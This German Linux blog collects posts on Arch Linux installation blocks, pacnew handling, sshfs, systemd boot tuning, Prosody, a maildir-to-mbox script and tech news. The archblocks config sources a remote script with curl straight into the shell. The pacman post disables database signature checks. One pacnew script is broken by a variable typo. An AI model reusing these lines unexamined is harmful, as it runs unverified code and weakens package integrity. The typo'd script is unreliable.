# curl https://raw.github.com/altercation/archblocks/master/sample_laptop.sh" > install.sh
# (...manually review the code! look at the blocks in the repo, then...)
# bash install.sh
# RESPOSITORY ------------------------------------------------------------ REMOTE=https://raw.github.com/altercation/archblocks/master
# CONFIG -----------------------------------------------------------------
HOSTNAME=tau
USERNAME=es
USERSHELL=/bin/bash
FONT=Lat2-Terminus16
FONT_MAP=8859-1_to_uni
LANGUAGE=en_US.UTF-8
KEYMAP=us
TIMEZONE=US/Pacific
MODULES="dm_mod dm_crypt aes_x86_64 ext2 ext4 vfat intel_agp drm i915"
HOOKS="base udev autodetect pata scsi sata usb usbinput consolefont encrypt filesystems fsck" #KERNEL_PARAMS="quiet" # set/used in FILESYSTEM,INIT,BOOTLOADER blocks (this gets added to)
INSTALL_DRIVE=query # "/dev/sda" "query" or blank (blank is the same as "query")

# as git, hg, svn and execute shell scripts automatically.
# list a url to use as a mr config file and archblocks core install will
# su to the new user's (USERNAME above) home and bootstrap using it.
# mr will be installed if this variable is set. # MR_BOOTSTRAP=https://raw.github.com/altercation/es-etc/master/vcs/.mrconfig
# BLOCKS -----------------------------------------------------------------
TIME=common/time_ntp_utc
FILESYSTEM=filesystem/gpt_luks_passphrase_ext4
BOOTLOADER=bootloader/efi_gummiboot
NETWORK=network/wired_wireless_default
#AUDIO=common/audio_alsa
#POWER=common/power_acpi
#XORG=xorg/xorg_wacom_fonts
#VIDEO=xorg/video_mesa_default
#DESKTOP=xorg/desktop_xmonad_minimal
#HARDWARE=hardware/laptop/lenovo_thinkpad_x220
#APPSETS="appsets/cli_hardcore appsets/vim_basics appsets/mutt_basics appsets/git_basics appsets/server_utils"
# if you don't want to create a new block, you can specify extra packages from official repos or AUR here
PACKAGES="urxvt"
AURPACKAGES="urxvi urxvtcd urxvtcd"
# EXECUTE ----------------------------------------------------------------
. <(curl -fsL "${REMOTE}/blocks/_lib/helpers.sh"); _loadblock "_lib/core"

In diesem Shellscript werden diverse Einstellungen wie Hostename, Benutzername, Timezone oder Module und Hooks eingetragen bzw. auf sogenannte Blocks verwiesen. Blocks sind im Grunde genommen wieder Shellscripts, welche sich auf einen bestimmten Bereich beziehen. Z. B. wie in folgendem Beispiel das Netzwerk.

# ------------------------------------------------------------------------
# NETWORK # ------------------------------------------------------------------------
_installpkg netcfg
_installpkg coreutils
_installpkg dhcpcd
_installpkg iproute2
_installpkg bridge-utils # (optional) - for bridge connections
_installpkg dialog # (optional) - for the menu based profile and wifi selectors
_installpkg ifenslave # (optional) - for bond connections
_installpkg ifplugd # (optional) - for automatic wired connections through net-auto-wired
_installpkg wireless_tools # (optional) - for interface renaming through net-rename
_installpkg wpa_actiond # (optional) - for automatic wireless connections through net-auto-wireless _installpkg wpa_supplicant # (optional) - for wireless networking support

_daemon_remove network
_daemon_add net-auto-wireless net-auto-wired ifplugd net-profiles
mv /etc/wpa_supplicant/wpa_supplicant.conf /etc/wpa_supplicant/wpa_supplicant.conf.orig
echo -e "ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=network\nupdate_config=1" > /etc/wpa_supplicant/wpa_supplicant.conf

Hier werden beispielsweise diverse Pakete installiert, die man für den Netzwerkbetrieb braucht. Danach werden Daemons entfernt bzw. hinzugefügt und die jeweilige Konfigurationsdatei kopiert und aktiviert. Auch wenn ich das ganze bisher noch nicht ausprobieren konnte, sieht es doch ziemlich interessant aus. Für Leute, die nur einen Rechner haben und diesen quasi nie neu aufsetzen mag das ganze wie mit Kanonen auf Spatzen schießen sein. Für alle andere ist es vermutlich eine gute Alternative zu Installation per Hand. Einen Support-Thread findet man im Archlinux.org-Forum.


Adminer - das bessere phpMyAdmin?

Seit ich bei uberspace.de bin, nutze ich das bekannte phpMyAdmin zum Verwalten von MySQL-Datenbanken nicht mehr. Warum? Aus zwei Gründen. Zum einen weil ich für größere Sachen das Programm MySQL Workbench nutze, welches sich über SSH mit der Datenbank verbindet (ssh -L 3306:127.0.0.1:3306 $benutzer@$server.uberspace.de). Und zum anderen weil ich im Wiki die phpMyAdmin-Alternative Adminer gefunden habe. Damit lässt sich, zumindest subjektiv, viel angenehmer an einer Datenbank werkeln als mit phpMyadmin. Wer also eine Alternative sucht, aber keine Verbindung von außen mit der Datenbank aufnehmen kann, sollte sich Adminer zumindest einmal ansehen.

Nachtrag 08.10.12: Heute morgen hat mich eine E-Mail erreicht (wieso eigentlich E-Mail und kein Kommentar zum Artikel?), in der gefragt wurde, ob Adminer wirklich nur aus einer Datei und nicht aus mehreren wie bei phpMyAdmin besteht. Da das vielleicht auch für andere interessant ist beantworte ich die Frage hier. Ja das ist so. Adminer besteht nur aus einer PHP-Datei.


Pacnew Dateien verwalten

Unter Arch Linux werden bestehende Konfigurationsdateien bekanntlich nicht bei Updates der dazu gehörenden Pakete überschrieben. Statt dessen wird eine pacnew-Datei angelegt. Also wenn z. B. die Datei rc.conf bereits vorhanden ist wird im gleichen verzeichnis eine rc.conf.pacnew angelegt. Zum Vergleichen und zusammenführen eventuell vorhandener Änderungen benutze ich ein Script, welches das kleine aber feine Tool meld verwendet.

#!/bin/bash

pacnew=$(find /etc -type f -name "*.pacnew")

# Check if any .pacnew configurations are found
if [[ -z "$pacnew" ]]; then
echo " No configurations to update"
fi

for config in $pacnew; do
# Diff original and new configuration to merge
kdesu meld ${config%\.*} $config &
wait
# Remove .pacnew file?
while true; do
read -p " Delete \""$config"\"? (Y/n): " Yn
case $Yn in
[Yy]* ) sudo rm "$config" && \
echo " Deleted \""$config"\"."
break ;;
[Nn]* ) break ;;
* ) echo " Answer (Y)es or (n)o." ;;
esac
done
done

Mit diesem Script wird man nach dem Vergleichen und Zusammenführen gefragt, ob man die jeweilige pacnew-Datei löschen will. Wäre da nicht sudo. Ich habe eine absolute Abneigung gegen sudo. Von daher funktioniert das hier nicht. Tja und da ich es auch nicht einrichten werde, habe ich mir statt dessen ein weiteres Script gebaut, dass nach pacnew-Dateien sucht und diese dann löscht. Das gleiche gilt für pacsave- und pacorig-Dateien. Naja eigentlich nur einen Einzeiler...

find / -type f -name "*.pacnew" -exec rm -i {} \;

Jetzt noch den sudo-Kram im ersten Script entfernt und ich bin einigermaßen zufrieden.

#!/bin/bash

acnew=$(find /etc -type f -name "*.pacnew")
for config in $pacnew; do
kdesu meld ${config%\.*} $config &
wait
done

Open-Source-Blog-Netzwerk

Vor zwei Tagen bin ich auf eine interessante Seite gestoßen. Unter http://osbn.de/ entsteht derzeit ein Netzwerk von Blogs die sich mit Open Source beschäftigen. Ich habe https://fryboyter.de dort mal angemeldet. Schaden kann es ja nicht.


Tears of Steel ist fertig

Tears of Steel, ein Kurzfilm der zeigen soll, was man mit Blender (einer 3D-Grafiksoftware) alles machen kann, ist nun fertig. Im Gegensatz z. B. zu Sintel wurden hier echte Filmaufnahmen mit 3D-Grafiken/Animationen gemischt.

Rein von der technischen Seite finde ich es gelungen. Allerdings finde ich die Geschichte und die Schauspieler nicht toll.


Prosody bei uberspace.de installieren

Jetzt habe ich es endlich mal in Angriff genommen, und versucht, den XMPP-Server Prosody auf meinem Uberspace zu installieren. Als erstes habe ich mit per SSH eingeloggt. Das hat schon mal funktioniert... ;-) Als nächstes habe ich mir den Source-Code heruntergeladen und diesen dann entpackt.

wget http://prosody.im/downloads/source/prosody-0.8.2.tar.gz
tar xzf prosody-0.8.2.tar.gz

Da mich Versionsnummern im Verzeichnisnamen nerven, habe ich noch schnell das Verzeichnis umbenannt und bin dann in das Verzeichnis gewechselt.

mv prosody-0.8.2 prosody
cd prosody

Laut Anleitung reicht ein ./configure aus. Hier habe ich mir überlegt, wann ich das zum letzten mal gemacht habe. Ist auf jeden Fall lange her. Da ich aber vermutlich keinen Vollzugriff auf alle Verzeichnisse habe, habe ich daraus erst einmal ein ./configure --prefix=/home/mathmos/prosody gemacht, damit das ganze im Homeverzeichnis installiert wird. Und schon bekam ich die erste Fehlermeldung um die Ohren.

./configure --prefix=/home/mathmos/prosody Lua interpreter found: /usr/bin/lua... Looking for Lua... Checking Lua includes... lua.h not found (looked in /usr/include/lua.h) You may want to use the flag --with-lua-include. See --help.

Er findet also die Datei lua.h nicht unter /urs/include/. Langsam habe ich mich wieder erinnert, wieso ich diese Installationsart schon ewig nicht mehr verwendet habe. Genau wegen solchen Sachen. Unter anderem. Also habe ich mir mal das Wiki von uberspace.de angesehen, was dort zum Thema LUA steht. Wenige Sekunden später hatte ich die Lösung. Das Zeug liegt hier unter /package/host/localhost/lua/. Dort gibt es dann ein Unterverzeichnis include in der die benötigte Datei liegt. Was sagt uns ./configure --help zu dem Thema? Eigentlich alles was man braucht. Also nächster Versuch...

./configure --prefix=/home/mathmos/prosody --with-lua-include=/package/host/localhost/lua/

Damit sollte lua.h nun zu finden sein. Und genau so war es dann auch. Das ganze lief ohne Probleme durch. Also gleich ein make hinterher. Auch das hat funktioniert. Jetzt wollte ich den Server zumindest einmal zum testen starten. Also gleich mal das Teil mittels ./prosody aufgerufen. Und was soll ich sagen. Es funktioniert nicht, weil der Server einige LUA-Erweiterungen nicht findet. Da ich die vermissten Sachen auch nicht gefunden habe, habe ich gerade eine Anfrage an hallo@uberspace gestellt. Mit etwas Glück wird es nachgerüstet. Mit etwas Pech muss ich die Sachen selbst ins Homeverzeichnis installieren. Mit etwas mehr Pech funktioniert das nicht. Aber ich warte jetzt erst mal die Antwort ab.


Entferntes Verzeichnis über SSH lokal mounten

Ich arbeite recht oft mit SSH um auf andere Rechner zuzugreifen. Ab und zu finde ich es recht angenehm, wenn ich ein Verzeichnis, dass eigentlich auf einem Server liegt, lokal mounten kann. Mit sshfs ist das kein Problem.

Erst einmal erstellt man sich auf dem Rechner vor dem man sitzt an einer Stelle an der man Lese- und Schreibzugriff hat ein Verzeichnis. Am besten im eigenen Home-Verzeichnis.

mkdir sshfs

Das Verzeichnis muss nicht zwangsläufig sshfs heißen. Einfach einen Namen angeben, mit dem man etwas anfangen kann.

Nun muss man eigentlich nur noch das gewünschte Verzeichnis des entfernten Rechners  in dieses Verzeichnis mounten. Hierzu reicht ein recht simpler Befehl.

sshfs $Benutzername@$Rechner:/Verzeichnis/auf/dem/Rechner sshfs

Bei $Benutzername muss man den Benutzernamen angeben, mit dem man sich auf dem entfernten Rechner mit SSH einloggen kann. $Rechner ist der Name/IP des entfernten Rechners. Und /Verzeichnis/auf/dem/Rechner ist eben das Verzeichnis auf dem entfernten Rechner, dass man lokal mounten will. Sshfs ist das Verzeichnis, dass wir gerade eben lokal angelegt haben.

Wechselt man nun in das lokal angelegte Verzeichnis findet man dort den Inhalt des entfernten Verzeichnisses vor und kann damit arbeiten, wie wenn alles lokal vorhanden wäre. Nur mit einer kleinen Ausnahme. Es gibt oft eine kleine Verzögerung, wenn man z. B. in ein Unterverzeichnis wechselt.

Aushängen kann man das Verzeichnis wieder, in man einfach folgenden Befehl absetzt.

fusermount -u ~/sshfs

Was ist Creative Commons?

Wie man in der rechten Spalte erkennen kann, veröffentliche ich alles von mir unter der Creative-Commons-BY-SA-Lizenz. Was muss man sich darunter vorstellen? Martin Mißfeldt hat das Konzept das hinter den Creative Commons Lizenzen steht in eine Art Comic gepackt und gibt hierzu noch einige genauere Anmerkungen.

Wer sich also für diese Lizenzen interessiert, sollte dort mal vorbei schauen.


Arch Linux setzt auf systemd

Nun ist es offiziell. Auch Arch Linux wird zu systemd wechseln. Diesen Schritt sind schon einige Distributionen wie Mandriva, Mageia, Fedora oder OpenSuse gegangen. Ich finde die Entscheidung gut.

In absehbarer Zeit wird wohl alles unter systemd laufen (einige Unit scheinen noch zu fehlen) und die rc.conf vermutlich wegfallen. Für einige Archer ist das scheinbar ein Horrorszenario, da angeblich Arch Linux ohne rc.conf nicht mehr Arch Linux ist. Allen McRae hat dazu und zu diversen anderen Änderungen in der letzten Zeit (wie z. B. der Symlink von /lib nach /usr/lib), die auf Kritik bei den Anwendern gestoßen sind, einen guten Beitrag in seinem Blog geschrieben.

Ich werde dies mal als Anlass nehmen und meine Arch-Linux-Installation so weit wie möglich auf systemd umstellen. Bisher läuft hier noch ein Mischbetrieb aus einer alten rc.conf mit allem drum und dran und systemd.

Nachtrag (21.08.2012): Tomegun (einer der Entwickler) hat sich im englischsprachigen Arch-Linux-Forum dazu geäußert wie der Umstieg bisher geplant ist und hat auch einige Punkte genannt warum umgestiegen wird.


Datei nach dem Verzeichnisnamen umbenennen

Vor kurzem gab es eine Anfrage in einem Forum, wie man eine Datei in einem Verzeichnis unkompliziert umbenennen kann, dass der Dateiname danach dem des Verzeichnisses entspricht. Nehmen wir also mal an, dass die Datei aufnahme1.mkv heißt und das Verzeichnis Mein_bester_Urlaubsfilm.

Mittels des Befehls find . -name \*.mkv -exec mv '{}' "${PWD##*\/}.mkv" \; wird nach Dateien mit der Endung .mkv gesucht. Wird eine oder mehrere Dateien gefunden, wird nachgesehen wie der Verzeichnisname lautet und die Datei dementsprechend umbenannt. Das klappt natürlich auch mit anderen Dateien. Hierzu einfach das .mkv im Befehl entsprechend der Anforderungen umbenennen.

Mit diesem Befehl wird nun aus aufnahme1.mkv im Verzeichnis Mein_bester_Urlaubsfilm die Datei Mein_bester_Urlaubsfilm.mkv.

Wer eine bessere Lösung hat, kann diese gerne hier angeben. 


Ich mag RegEx noch immer nicht, aber...

Endlich habe ich mal eine Kurzeinführung mit weiteren nützlichen Quellenangaben gefunden, mit der sogar ich etwas anfangen kann. Eventuell kapiere ich den Zeichenwust ja irgendwann doch noch mal. Den Leuten, denen ich deshalb regelmäßig auf die Nerven gehe, würden es mir danken.


Arch Linux wird noch "nerdiger"

Bei Arch Linux ist soweit ich es sehe AIF entfernt worden. Wohl weil es stellenweise ziemlich fehlerhaft ist und sich der betreffende Entwickler nicht mehr darum kümmern kann/will.

Derzeit läuft der Spaß nun komplett über die Konsole mittels der Arch Install Scripts ab. Eine recht kurze Zusammenfassung gibt es hier und da gibt es eine etwas ausführlichere Anleitung.

Im Grunde genommen ist die neue Installation also kein Hexenwerk, wird aber vermutlich doch einige abschrecken, die Arch ausprobieren möchten. Oder wie sehr ihr das?


Verkaufslimit und Warteliste des Raspberry Pi entfällt

Ich sage es gleich. Die Wartezeit bleibt bei 4-6 Wochen, da die 4000 Stück, die täglich produziert werden wohl nicht ausreichen um den Bedarf zu decken. Dafür kann man aber nun direkt ohne Warteliste und mehr als einen Raspberr Pi bestellen. Das hat zumindest die Raspberry Pi Foundation mitgeteilt und der direkte Bestellvorgang bei den beiden Vertriebspartnern scheint zu funktionieren.


Konfigurationsdateien im Homeverzeichnis aufräumen

In meinem Homeverzeichnis unter Linux stapeln sich inzwischen schon die Dotfiles. Also die Konfigurationsdateien mit einem Punkt am Anfang des Namens. Irgendwann habe ich mir die Frage gestellt, ob man die Dateien nicht in ein Unterverzeichnis verschieben kann, damit das Verzeichnis etwas übersichtlicher wird. Ein komplettes Ausblenden aller versteckten Dateien bzw. Verzeichnisse (alle mit einem Punkt am Anfang der Bezeichnung) kommt für mich nicht in Frage, da ich auf manche Verzeichnisse regelmäßig zugreife.

Als erstes bin ich auf libetc gestoßen. Damit konnte man die Dotfiles in ein Unterverzeichnis packen alle Anfragen wurden auf diese Unterverzeichnis umgeleitet. Da libetc aber zum einen gar nicht mehr betreut wird und man es zum anderen nicht mehr unter Arch Linux installiert bekommt, habe ich mich weiter auf die Suche gemacht.

Und bin fündig geworden. Rewritefs sollte die Lösung sein. Die letzte Aktivität bei dem Projekt war zumindest noch 2012. Rewritefs nutzt FUSE und macht in etwa das was mod_rewrite unter Apache macht.

Mal schauen, ob es mir am Wochenende das System zerlegt, oder ob ich etwas mehr Ordnung in mein Homeverzeichnis bringen kann.


Backdoor GetShell.A für Windows, Mac und Linux

Eigentlich bleibt man unter Linux ja von der Masse der Schädlinge verschont. Laut einem Blogeintrag von F-Secure gibt es aber mal wieder eine Ausnahme. Auf einer Seite eines kolumbianischen Transportunternehmens wurde ein Schädling (welcher als GetShell.A bezeichnet wird) entdeckt, der auf Windows, Mac und Linux ausgelegt ist. Leider geht nicht hervor, ob man auch mit eingeschränkten Rechten betroffen ist.

Aber wie auch immer. Solche Fälle zeigen mal wieder, dass man nicht blind auf etwas vertrauen darf. Sei es das Betriebssystem oder diverse "Sicherheitssoftware". Brain.exe bzw. Brain.sh mal ausgenommen. Denn die funktioniert wirklich.


Der XMPP-Server des FryBoyters

Ich verwende auf Benutzerseite schon seit geraumer Zeit XMPP (Jabber) als Alternative zu ICQ, da dies unterm Strich meiner Meinung nach einfach besser ist. Mal von der Verbreitung abgesehen.

Gestern habe ich mich mal wieder im Wiki von Uberspace (meinem derzeitigen Webhoster) umgesehen und bin auf eine Anleitung gestoßen, wie man auf deren Webspace ejabberd (ein XMPP-Server) installiert. Und schon wieder hatte mein Spieltrieb die Kontrolle übernommen. Denn einen eigenen XMPP-Server wollte ich schon immer mal installieren. Nicht einmal um den bestehenden Servern Konkurrenz zu machen, sondern einfach um sich mit der technischen Seite auseinanderzusetzen. Da Uberspace auch Lua anbietet, werde ich es allerdings mit Prosody probieren. Sollte dies klappen werde ich wohl meine bisherigen Zugänge auf den eigenen Server umstellen. Wenn Interesse besteht und sich der Traffic und die Auslastung in Grenzen hält, könnte ich dann sogar für eine überschaubare Benutzerzahl Zugänge anbieten.

Ein neues Bastelprojekt ist also geboren.


Pacman XferCommand

Ich setze unter pacman (Paketverwaltung von Arch Linux) seit einiger Zeit nicht den internen Downloadmechanismus sondern snarf ein. Das gibt bis zur Version 4.0.3 von pacman auch gut. Seit dem gab es diverse 404-Fehler beim Aktualisieren der Pakete. Snarf findet also irgendetwas nicht und bricht deshalb ab. Gerade habe ich in einem lichten Moment die Lösung gefunden. Mittels pacman -Syu --debug bin ich dem Problem auf die Spur gekommen. Snarf hat die Signatur-Dateien der Datenbanken (z. B. core.db.sig) nicht gefunden. Kein Wunder, bisher sind ja nur die Pakete an sich signiert und die Datenbanken kommen erst später an die Reihe. Um trotzdem eines der XferCommand-Einträge in der /etc/pacman.conf zu nutzen muss man in selbiger bei den eingetragenen Paketquellen bei beim SigLevel noch DatabaseNever hinzufügen, so dass es wie folgt aussieht.

[core] SigLevel = PackageRequired DatabaseNever Include = /etc/pacman.d/mirrorlist

Und schon funktionieren die XferCommand-Einträge wieder.


Planetenseite von ubuntuusers.de

Eigentlich widerstrebt es mir ja, auch nur ansatzweise Werbung für etwas zu machen, das mit Ubuntu zu tun hat. Aber in dem Fall werde ich wohl damit leben müssen. Trauma vorprogrammiert. ;-)

Unter http://planet.ubuntuusers.de werden Beiträge aus dem Bereich Linux und Open Source aus diversen Blogs zusammengetragen. Teilweise sind dort recht gute Artikel zu finden.


Arch Linux schneller starten

Eigentlich ist es mir egal, wie schnell die bei mir installierten Betriebssysteme starten. Zumindest wenn es nicht mehrere Minuten dauert. Aber gestern ist bei mir mal wieder der Spieltrieb ausgebrochen. Darum habe ich mir mal den Bootvorgang von Arch Linux vorgenommen. Als erstes habe ich mir mal angesehen wie schnell das System derzeit startet. Da ich systemd einsetze habe ich das mit dem Befehl systemd-analyze gemacht. Hier wird angezeigt, welche Services usw. wie lange gebraucht haben. Sortiert wird das ganze von lange bis kurz. Insgesamt hat das System gut 30 Sekunden gebraucht (da ich die alten Werte nicht gespeichert habe, bitte folgende zwei Beispiele nur als Beispiele ansehen).

systemd-analyze Startup finished in 11278ms (kernel) + 19325ms (userspace) = 30603ms

Im Grunde also ein Wert, bei dem zumindest ich nicht meckern kann. Dank meines Spieltriebs wollte ich aber trotzdem mal sehen, was möglich ist. Als nächstes haben ich mir mittels systemd-analyze blame anzeigen lassen, was wie lange zum starten gebraucht hat.

systemd-analyze blame
2802ms systemd-readahead-collect.service
2756ms systemd-readahead-collect.service systemd-readahead-replay.service
2727ms systemd-logind.service
2669ms media-WindowsD.mount
2668ms media-WindowsC.mount
2664ms console-kit-daemon.service
2620ms network.service
2600ms dbus.service
1465ms systemd-remount-fs.service
1273ms systemd-udev-trigger.service
1094ms dev-mqueue.mount
1090ms sys-kernel-debug.mount
890ms systemd-user-sessions.service
850ms systemd-sysctl.service
827ms dev-hugepages.mount
609ms systemd-vconsole-setup.service
460ms console-kit-log-system-start.service
451ms systemd-modules-load.service
308ms systemd-tmpfiles-setup.service
306ms media-WindowsD.mount
239ms systemd-udev.service
156ms openvpn@NL4.service
123ms home.mount
43ms tmp.mount
39ms upower.service
16ms udisks2.service
5ms boot.mount
1ms rtkit-daemon.service
1ms sys-fs-fuse-connections.mount

Da ich e4rat verwende habe ich mittels systemctl disable systemd-readahead-collect.service systemd-readahead-replay.service die beiden vergleichbaren systemd-Services deaktiviert, da diese recht lange gebraucht haben. Viel mehr konnte ich nicht deaktivieren, da ich leider alle andere was langsam gestartet wurde, brauche. In der mittels systemd-analyze blame erzeugten List ist mir allerdings noch aufgefallen, dass es relativ lange dauert, bis zwei NTFS-Partitionen gemountet werden. Da ich diese nicht sofort nach dem Start und auch nicht regelmäßige brauche, habe ich mir mal die /etc/fstab vorgenommen. Systemd bietet hier die Möglichkeit, bestimmte Partitionen erst zu mounten, wenn man auf die Mountpoints zugreift. Das sollte wieder etwas bringen. Also habe ich einen Blick in die fstab geworfen. Eine der betreffenden Einträge sah z. B. so aus.

UUID=DE084E95084E6C99 /media/WindowsC ntfs-3g default 0 0

Hier muss nun das default gegen noauto,comment=systemd.automount ausgetauscht werden, so dass wir folgenden Eintrag erhalten.

UUID=DE084E95084E6C99 /media/WindowsC ntfs-3g noauto,comment=systemd.automount 0 0

So wird in diesem Fall die Partition die über /media/WindowC angesprochen wird, erst dann gemountet, wenn man auf den Mountpoint zugreift. Und schon hat das System wieder etwas schneller gebootet. Wirklich schneller wurde der Spaß aber erst, als ich auch noch den Eintrag für /home angepasst habe. Das hat richtig etwas bewirkt. Als letztes habe ich dann noch die unnötigen Terminals, wie hier beschrieben deaktiviert. Und was hat mir das ganze jetzt gebracht? Etwas Spass an der Freude und ein System, dass nun in ca. 18 Sekunden anstelle von 30 bootet. Ich vermute allerdings, dass man den Bootvorgang noch weiter optimieren könnte. Aber dafür müsste man, wenn man den diversen Anleitungen vertraut, zu sehr ins System eingreifen. Das lasse ich mal lieber.


Sourcecode von HijackThis freigegeben

Das Unternehmen TrendMicro hat den Sourcecode bekannte Tool HijackThis veröffentlicht. Mit Hijackthis ist es möglich unter bestimmten Voraussetzungen einen Schädlingsbefall des Rechners zu erkennen und im besten Fall zu beseitigen.

Das Tool wurde mit Visual Basic erstellt und steht unter http://sourceforge.net/projects/hjt/ zum Download bereit. Dort findet man auch den erwähnten Sourcecode.

Laut der GPL 2 veröffentlicht worden. TrendMicro äußert sich dazu in der Pressemitteilung nicht.


Knecht Rootrecht

Eines muss man den Entwicklern von Grml lassen. Die Codenamen ihrer Distributionsversionen sind immer wieder klasse. So erblickte kurz vor Weihnachten Knecht Rootrecht das Licht der Welt und kann sich nun zu seinen Geschwistern Dioptrienotto, Schluchtenscheisser, Eierspass usw. gesellen.

Grml ist eine Linux-Distribution, welche auf Debian Testing basiert, die für Systemrettungen und -verwaltungen eingesetzt wird. Eine Installation ist möglich, allerdings liegt der Schwerpunkt auf der Live-Distribution, da man auf Rechner, die Probleme machen, nicht mal eben ein Betriebssystem installieren kann. Neuerungen sind z. B. EFI Boot von CDs und USB-Sticks (nur bei der 64Bit-Version) und die Verwendung von Fluxbox.

Beim Booten werden anonyme Statistiken erstellt und an die Entwickler gesendet. Dies kann mit der Bootoption "nostats" verhindert werden.

Genauere Informationen zu Knecht Rootrecht findet man unter http://grml.org/changelogs/README-grml-2011.12/


Auf wiedersehen Kmail2

Eigentlich bin ich ja recht leidensfähig, wenn eine Lösung in Sichtweite ist. Aber in dem Fall habe ich die Nerven einfach nicht. Kmail2 stürzt wegen dieser ver... Konfliktlösung mehrmals täglich bei mir ab (https://bugs.kde.org/show_bug.cgi?id=250797). Jetzt habe ich die Schnauze erst mal voll von dem Programm. Nun darf mich, zumindest vorübergehend, Claws Mail terrorisieren. Das ganze hatte nur einen Haken. Kmail2 verwendet Maildir. Claws Mail unterstützt das nur leider nicht wirklich. Daher musste ich jetzt erst einmal meine ganzen Emails (und das sind nicht wenige) von Maildir in Mbox konvertieren. Für denn Fall, dass sich jemand die Zähne daran ausbeißt, hier nun ein kleines Python-Script, mit dem es bei mir einwandfrei funktioniert hat.

#!/usr/bin/python 
# -*- coding: utf-8 -*-
 
import mailbox
import sys
import email
 
mdir = mailbox.Maildir(sys.argv [-2], email.message_from_file)
outfile = file(sys.argv[-1], 'w')
 
for mdir_msg in mdir:
    # parse the message:
    msg = email.message_from_string(str(mdir_msg))
    outfile.write(str(msg))
    outfile.write('\n')
 
outfile.close()

Das Script, nennen wir es maildir2mbox.py, lässt man dann mit folgendem Befehl auf das jeweilige Maildir-Verzeichnis los: python maildir2mbox.py /pfad/zum/maildir/verzeichnis outbox.mbox So wird für das jeweilige Maildirverzeichnis eine Mbox-Datei erzeugt, welche man problemlos in Claws Mail importieren kann. Unter Arch Linux musste ich allerdings anstelle von phython python2.7 verwenden. Das Script ist übrigens nicht auf meinem Mist gewachsen, sondern stammt von http://yergler.net/projects/one-off/maildir-to-mbox/. Danke (thank you) Nathan. :)


Ein schönes Zitat eines toten Mannes

Heute ist der 10. Todestag von Wau Holland. Einem der Gründer des Chaos Computer Clubs. Aufgrund dessen ist mir heute in einem Artikel ein, meiner Meinung nach, schönes Zitat von Ihm in Hände gefallen, dass ich nicht vorenthalten möchte.

Wir müssen die Rechte der Andersdenkenden selbst dann beachten, wenn sie Idioten oder schädlich sind. Wir müssen aufpassen. Wachsamkeit ist der Preis der Freiheit - Keine Zensur!

Hurd kommt zusammen mit Duke Nukem Forever. Fast.

Jahrelang habe ich bei Diskussionen um Duke Nukem Forever behauptet, dass das Spiel zusammen mit Hurd erscheinen würde. Und ich hatte Recht. Fast zumindest.

Laut einer Meldung auf pro-linux.de soll Debian GNU/Hurd bis zum Erscheinen von Debian 7 "Wheezy" (frühestens Ende 2012) den Status einer offziellen Debian-Portierung erreichen.

Ich bin gespannt...


Konfigurationsdateien zum abkupfern

Ich bin mal wieder auf ein Projekt gestoßen, dass es meiner Meinung nach wert ist, dass man dafür die Werbetrommel rührt. Dann fange ich mal damit an.

Smörebröd smörebröd, röm töm töm töm...

Unter http://dotshare.it hat man seit ein paar Tagen die Möglichkeit Konfigurationsdateien zu diversen Linuxpaketen wie der ZSH, conky oder vim anzusehen und somit abzukupfern. Oder man kann auch seine eigenen Konfigurationsdateien zur Verfügung stellen. Auch wenn es so eine Seite schon einmal gab (komme nur leider nicht auf die Adresse), so finde ich die Idee gut. Mal sehen wie sich das ganze entwickelt.


Htaccess, RewriteCond und RewriteRule. Oder wie treibt man mich in den Wahnsinn

Ich hatte am vergangenen Wochenende einige Sachen im Board umgestellt. Soweit ja kein Problem. Nur hat nun der Link der bei Google auf meine TrueCrypt-FAQ gezeigt hat (http://www.operation-tunnelbau.de/index.php?topic=27.0), nicht mehr gepasst. Diesen wollte ich nun auf das Wiki umleiten. Und was soll ich sagen? Ich hasse Htaccess, RewriteCond und RewriteRule. Naja eigentlich bin ich vermutlich einfach zu blöd dazu. Hier nun des Rätsels Lösung. Vielleicht hilft das den einen oder anderen ja weiter.

RewriteCond %{SCRIPT_FILENAME} index.php RewriteCond %{QUERY_STRING} topic=27\.0 RewriteRule ^(.*)$ http://www.wiki.operation-tunnelbau.de? [L,R=301]

Im Grunde eigentlich nicht schwer und Gott sei Dank ohne kompliziertes Regex. Sonst wäre es komplett vorbei gewesen.


Wir basteln uns eine Debian Live-Distribution

Ich wurde vor ein paar Tagen auf ein Angebot aufmerksam gemacht, welches man unter http://live-build.debian.net/ erreichen kann. Dort kann man sich, nachdem man sich mit Benutzername und E-Mail-Adresse angemeldet hat, sich seine eigene Debian Live-Distribution mit wenigen Klicks zusammenbauen. Unter anderem kann man zum Beispiel festlegen, welche Oberfläche man verwenden will oder ob es für USB oder CD/DVD sein soll. Auch einen Installer kann man hinzufügen. Bei meinem Test habe ich zum Beispiel mal LXDE auf CD/DVD mit dem Live-Installer genommen. Sobald das ganze dann fertiggebaut wurde, bekommt man den Downloadlink per E-Mail. Dieser wurde mir zwar noch nicht zugesandt, aber wenn ich mich nicht täusche sind im Moment die Kapazitäten nicht die besten (Spenden werden gerne angenommen). Aber ich habe Zeit.


Mageia? Ist das ansteckend, oder kann man das essen?

Das war so in etwa mein erster Gedanke, als ich den Namen zum ersten mal gehört habe. Aber weder das eine noch das andere trifft zu.

Das Unternehmen Mandriva hat die Tochterfirma Edge-IT liquidiert und die meisten Entwickler, die an Mandriva gewerkelt haben, entlassen. Da auch die Zukunft des angeschlagenen Unternehmens Mandriva in den Sternen steht und eine Neuausrichtung vermutlich hin zu Unternehmenslösungen zeigen wird, könnte man dies für das Ende der meiner Meinung nach einsteigerfreundlichsten Distribution halten. Tja dann hat man die Rechnung wohl ohne den Wirt gemacht. Oder besser gesagt ohne die Wirte.

Anstelle die Distribution für die Endanwender zu beerdigen haben sich einige der ehemaligen Angestellten wie Anne Nicolas sowie Leute aus der "Mandriva-Community" wie Wolfgang Bornath zusammengetan und Mageia als Community-Projekt ins Leben gerufen. Oder anders ausgedrückt Mandriva wurde geforkt. Einer der wenigen Forks, die ich wirklich gut finde. Mehr Informationen zu dem ganzen findet man bei den MandriaUser.de.

Auch wenn ich inzwischen Archlinux auf meinen Rechnern einsetze, so wünsche ich allen Beteiligten alles gute und viel Erfolg. Haut rein, Jungs und Mädels. Lasst die beste Distribution der Welt nicht sterben. Denn vielleicht wechsle ich ja mal wieder zurück auf meine alte Distribution, die mich nun schon seit Version 7.x begleitet (und es in einer Installation unter VirtualBox auch immer noch tut). Und den ganzen Newbies muss ich ja auch eine einsteigerfreundliche Distribution empfehlen. Was ohne Mageia ziemlich schwierig wird...


